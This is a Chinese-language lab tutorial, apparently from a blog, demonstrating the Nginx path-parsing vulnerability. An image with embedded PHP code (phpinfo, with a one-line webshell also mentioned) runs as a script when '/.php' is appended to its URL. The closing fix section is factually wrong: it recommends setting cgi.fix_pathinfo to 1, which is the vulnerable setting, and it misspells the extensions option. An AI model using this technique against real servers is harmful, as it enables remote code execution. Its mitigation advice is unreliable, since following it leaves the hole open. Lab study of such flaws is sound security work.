Nginx-解析漏洞
由于Nginx.conf
的如下配置导致nginx
把以’.php’
结尾的文件交给fastcgi
处理,为此可以构造http://liuwx.cn/test.png/.php
(url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png
是我们上传的包含PHP
代码的照片文件。
Windows Server 2003
Nginx
PhpStudy
版本环境是:Nginx
+ PHP5.2
2003服务器必须能和PC物理主机相互Ping通
在这里我物理主机的IP是:192.168.1.101
2008虚拟机的IP是:192.168.119.134
访问:http://192.168.119.134/
环境搭建完毕!
一个一句话图片木马为:test.jpg
,如果在URL
中访问:http://www.liuwx.cn/test.jpg/.a.php
会吧图片当做脚本格式解析执行!
访问:http://192.168.119.134/1.jpg
可以看到是一个正常的图片!
当在RUL
后面加一个/*.php
或者是/.php
,就会被当做脚本文件执行!
访问:http://192.168.119.134/1.jpg/a.php
为了演示,我在hacker.jpg
中添加了:
<?php
phpinfo();
?>
访问:http://192.168.119.134/hacker.jpg
是一张图片!
我们按照Nginx
解析漏洞,后面加上/.php
:
http://192.168.119.134/hacker.jpg/.php
成功执行phpinfo
php代码!
1、将php.ini
文件中的cgi.fix_pathinfo
的值设置为1
2、将/etc/php5/fpm/pool.d/www.conf
中security.limit_ectensions
后面的值设置为.php